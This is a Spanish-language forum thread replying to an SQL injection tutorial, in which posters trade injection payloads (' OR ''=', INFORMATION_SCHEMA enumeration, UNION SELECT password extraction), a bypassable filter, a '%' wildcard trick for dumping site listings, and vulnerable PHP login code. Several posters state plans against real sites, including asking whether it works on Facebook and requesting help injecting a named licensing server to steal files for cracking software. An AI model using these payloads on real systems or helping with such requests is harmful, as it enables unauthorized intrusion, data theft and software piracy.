Tutorial de Inyección SQL (SQL Injection)

Iniciado por sirdarckcat, 10 Diciembre 2005, 04:34 AM

0 Miembros y 1 Visitante están viendo este tema.

i-node

Cita de: i-node en  1 Abril 2009, 18:02 PM
Estoy inyectando codigo en un servidor, pero el problema es que se cual es el nombre de la base de datos, pero necesito hacer un listado de las tablas de esa base de datos. He probado de la siguiente forma:

' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='

' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='nombre_bd' AND TABLE_NAME='nombre_tabla') AND ''='

' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%u%')>1 AND ''='

Pero me dice que la sintaxis es incorrecta.. Alguna sugerencia?


Es mas, estando dicha consulta dentro de un magicsql("..."); si yo introduzco un

' "); echo "loquesea"; <!--

Ese comentario php <!-- deberia hacer que ignorase todo lo que venga detras o includo con un ?>
Pero el caso es que no funciona, y es rarisimo, puesto que si hago un <!-- OR 1=1 y hago que me salte un error de sintaxis de MySQL, muestra todo menos el comentario y lo que viene detras, con lo cual se supone que esta funcionando ese comentario, pero no es asi, porque si cierro la sentencia SQL antes del comentario con "); y hago el echo "loquesea"; me salta un error de sintaxis porque interpreta ese echo como si fuese parte de la consulta SQL ¿?¿?¿?

Ver para creer..

CICOLO_111234

hola!

en algunos buscadores si buscas ' te da un error diciendo q tienes 1 fallo SQL... Cómo se podría explotar eso?

gracias

salu2

redkram

Citar
function limpieza1($valor)
{
$valor = str_replace($valor,'"',"//////");
$valor = str_replace($valor,"'","//////");
$valor = str_replace($valor,"@","//////");
$valor = str_replace($valor,"or","//////");
$valor = str_replace($valor,"UNION","//////");
$valor = str_replace($valor,"SELECT","//////");
$valor = str_replace($valor,"%2527","//////");
$valor = str_replace($valor,"%2725","//////");
$valor = str_replace($valor,"%20","//////");
return $valor;
}

Hace algun tiempo me curré un pequeño tutorial de inyección sql donde explicaba el problema de muchas webs y sus replace.

Hay un fantástico símbolo que casi nadie remplaza y aun sirve para comprobar muchas webs. El símbolo lo usa casi todo el mundo casi cada dia... al pagar el iva ;), siii es el comodín de mysql (%)<--- el x por ciento o &#37

select * from users where user like '%' and pass like '%'

¿Ahhh que compruebas que necesita mínimo 8 dígitos? ok perdona

select * from users where user like '%%%%%%%%' and pass like '%%%%%%%%'

Además sirve por ejemplo directamente en las urls

http://www.weblaquesea.com/?id=%&provincia=%&pais=%

Respuesta= Un super listado de fichas (bucle de la web) que con un poquito de idea y posiblemente ajax, puedes organizar en un xml dinámico y guardarlo en tu escritorio para luego...

Digamos que con formularios locales apuntando a una web con "error" devolviendo los resultados en ajax y estructurando los datos con Arrays ej: x=split(codigo,"<tr>"), en un xml, luego con ganas y dreamweaver puedes hacer una bd enterita.

Salu2

Redkram

Og.

Cita de: CICOLO_111234 en 16 Abril 2009, 12:05 PM
hola!

en algunos buscadores si buscas ' te da un error diciendo q tienes 1 fallo SQL... Cómo se podría explotar eso?

gracias

salu2
pues tecnicamente esta haciendo un llamado a una tabla que solo tiene informacion de busquedas, pero alomejor puedes encontrar algo mas con UNION
|-


Panchz

#45
duplicated.. srry

Panchz

#46
i think u cant use sql injection to login into an username account if the password is encrypted before the query.. heres an example:

-------------------
$password = md5($password)

SELECT User, Password FROM users WHERE User='$Username' AND Password='$password'

--------------
so, if you use this as a password:
' OR ''='
before the query.. it will be encrypted to this:
d20da3888278ec814f6a837f260b60df

so... it will be like this

SELECT User, Password FROM users WHERE User='Example' AND Password='d20da3888278ec814f6a837f260b60df'

doesnt matter what you type on password form..
i think thats like the best security you  can have

however i think u can yet mess with the username... as encripting the username is not used anywhere

deathspartan217

 ;D ;D hola acabo d darme cuenta d esta pagina y recientemente vi este tema, se me hace genial solo q tengo unas dudas...
¿Esto puede funcionar con facebook??
¿ha habido modificaciones en el codigo en estos años q sea indispensable q sepa alguien para llevar a cabo esto?


espero q me den respuesta GRACIAS  :xD :xD :xD

christian199743

Amigos me podria ayudar a hacer una inyeccion SQL a esta pagina: https://licensetransfer.elicenser.net:8443/LSWebServices/jsp/Login.jsp TODA UNA COMUNIDAD OCUPA DE ESTA INYECCION PERO SI SE PREGUNTAN que buscamos seria este archivo en ese servidor uno de estos dos:
SYNSOEMU.dll
o
SYNSOACC.dll
Es de un programa que an querido crackear: Nexus 2.2.1

astinx

Disculpame, en el ejemplo de
<?php
$us=$_POST['usuario'];
$pas=$_POST['pass'];
if($_GET['usuario'] || $_GET['pass']){
die("Hack Attempt");
}
/*Conectamos*/
$conexion mysql_connect("localhost""root""123qwe");
  
mysql_select_db("mysql"$conexion);
$sql="SELECT PASSWORD FROM USUARIO WHERE USUARIO.NOMBRE = '$us'";
echo "$sql<br>";
$resp mysql_query($sql$conexion) or die(mysql_error());
if($fila mysql_fetch_array($resp)){
if($fila['PASSWORD']==$pas){
echo "Inicio de sesión exitoso"// Esto fue modificado
}else{
echo "el password ".$pas." es incorrecto";
}
} //' UNION SELECT MIN(Password),2,3,4,5 FROM USUARIO WHERE NOMBRE = 'zanahoria
?>


Hay algo que no entiendo la consulta quedaria modificada como:
SELECT PASSWORD FROM USUARIO WHERE USUARIO.NOMBRE = '' UNION SELECT MIN(Password) FROM USUARIO WHERE NOMBRE = '' ,si en el campo usuario ponemos como vos dijiste:
' UNION SELECT MIN(Password) FROM USUARIO WHERE NOMBRE = '
Y efectivamente, funciona, cree un localhost para probarlo, (Aclaro que estos son mis primeros pasos en SQL Injection), ahora lo que no entiendo es porque funciona, yo corrí la consulta en el Mysql Query Browser y me tira un campo en NULL, ¿Esto quiere decir que si comparamos cualquier cosa contra una variable en NULL nos da verdadero?.
Yo se que mysql_fetch_array se usa para transformar el resultado de una consulta en un arreglo y poder recorrerlo de manera iterativa, ¿Pero esto quiere decir que no pasa nada cuando le decimos que nos devuelva el valor del campo PASSWORD?.
Disculpen, es que esta linea en particular me confunde mucho:
if($fila = mysql_fetch_array($resp)){
if($fila['PASSWORD']==$pas){

Muchas gracias por detenerse a leer, Saludos!
La programación hoy en día es una carrera entre los ingenieros de software intentando construir mejores y más eficientes programas a prueba de idiotas y el Universo intentando producir mejores y más grandes idiotas. De momento, el Universo está ganando